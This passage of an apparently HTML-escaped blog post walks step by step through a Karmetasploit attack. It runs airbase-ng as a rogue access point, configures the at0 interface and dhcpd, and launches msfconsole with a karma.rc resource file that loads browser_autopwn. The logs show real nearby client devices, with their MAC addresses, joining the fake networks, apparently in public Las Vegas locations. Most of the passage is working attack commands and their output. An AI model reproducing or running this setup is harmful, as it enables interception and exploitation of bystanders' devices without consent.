'vegaslink'&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:52   0/30:   0%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;19:55:52  00:14:06:11:42:A2 - channel: 4 - 'VEGAS.com'&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:55:58   0/30:   0%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;19:55:58  00:13:19:5F:D1:D0 - channel: 6 - 'stayonline'&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:56:03  Ping (min/avg/max): 20.712ms/26.964ms/31.267ms Power: 14.80&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:56:03   5/30:  16%&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:56:03  00:14:06:11:42:A0 - channel: 4 - 'cheetahnetwork'&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:56:09   0/30:   0%&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;19:56:09  00:14:06:11:42:A1 - channel: 4 - 'Adult***Vegas'&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;19:56:15   0/30:   0%&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Look's like we are good.&lt;br /&gt;&lt;br /&gt;Now just follow the steps in the documentation, I installed dhcpd3 and set up my conf file, I did a svn update on the metasploit trunk, made sure the sqlite3 stuff was working and then tweaked my karma.rc file for the IP address I was on.  Pretty straightforward.&lt;br /&gt;&lt;br /&gt;With all the config files set up its pretty easy to get things going.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;root@WPAD:/home/cg# airbase-ng -P -C 30  -v ath40&lt;br /&gt;02:59:55  Created tap interface &lt;span style="font-weight: bold;"&gt;at0&lt;/span&gt;&lt;br /&gt;02:59:55  Access Point with BSSID 00:19:7E:8E:72:87 started.&lt;br /&gt;02:59:57  Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"&lt;br /&gt;02:59:58  Got broadcast probe request from 00:14:A5:2E:BE:2F&lt;br /&gt;02:59:59  Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"&lt;br /&gt;03:00:02  Got broadcast probe request from 00:90:4B:C1:61:E4&lt;br /&gt;03:00:03  Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"&lt;br /&gt;03:00:05  Got broadcast probe request from 00:14:A5:48:CE:68&lt;br /&gt;03:00:07  Got broadcast probe request from 00:90:4B:EA:54:01&lt;br /&gt;03:00:09  Got directed probe request from 00:1B:63:EF:9F:EC - "delonte"&lt;br /&gt;03:00:12  Got directed probe request from 00:13:E8:A8:B1:93 - "stayonline"&lt;br /&gt;----snip------&lt;br /&gt;03:01:34  Got an auth request from 00:21:06:41:CB:50 (open system)&lt;br /&gt;03:01:34  Client 00:21:06:41:CB:50 associated (unencrypted) to ESSID: "tmobile"&lt;br /&gt;03:04:19  Got an auth request from 00:1B:77:23:0A:72 (open system)&lt;br /&gt;03:04:19  Client 00:1B:77:23:0A:72 associated (unencrypted) to ESSID: "LodgeNet&lt;br /&gt;**You get the idea...&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;airbase-ng creates an at0 tap so you have to configure it and set the mtu size (all this if from the karmetasploit documentation)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;root@WPAD:/home/cg/evil/msf3# ifconfig at0 up 172.16.1.207 netmask 255.255.255.0&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;root@WPAD:/home/cg/evil/msf3# ifconfig at0 mtu 1400&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;root@WPAD:/home/cg/evil/msf3# ifconfig ath40 mtu 1800&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;After we get our IP stuff straight we need to tell the dhcpd server which interface to hand out IPs on.&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;root@WPAD:/home/cg/evil/msf3# dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Internet Systems Consortium DHCP Server V3.0.5&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Copyright 2004-2006 Internet Systems Consortium.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;All rights reserved.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;For info, please visit http://www.isc.org/sw/dhcp/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Wrote 4 leases to leases file.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Listening on LPF/at0/00:19:7e:8e:72:87/172.16.1/24&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Sending on   LPF/at0/00:19:7e:8e:72:87/172.16.1/24&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Sending on   Socket/fallback/fallback-net&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;After that we run our karma.rc file within using msfconsole.&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;root@WPAD:/home/cg/evil/msf3# ./msfconsole -r karma.rc&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;=[ msf v3.2-release&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;+ -- --=[ 304 exploits - 124 payloads&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;+ -- --=[ 18 encoders - 6 nops&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;=[ 79 aux&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;&lt;br /&gt;resource&gt; load db_sqlite3&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Successfully loaded plugin: db_sqlite3&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;resource&gt; db_create /root/karma.db&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] The specified database already exists, connecting&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] Successfully connected to the database&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;[*] File: /root/karma.db&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;resource&gt; use auxiliary/server/browser_autopwn&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;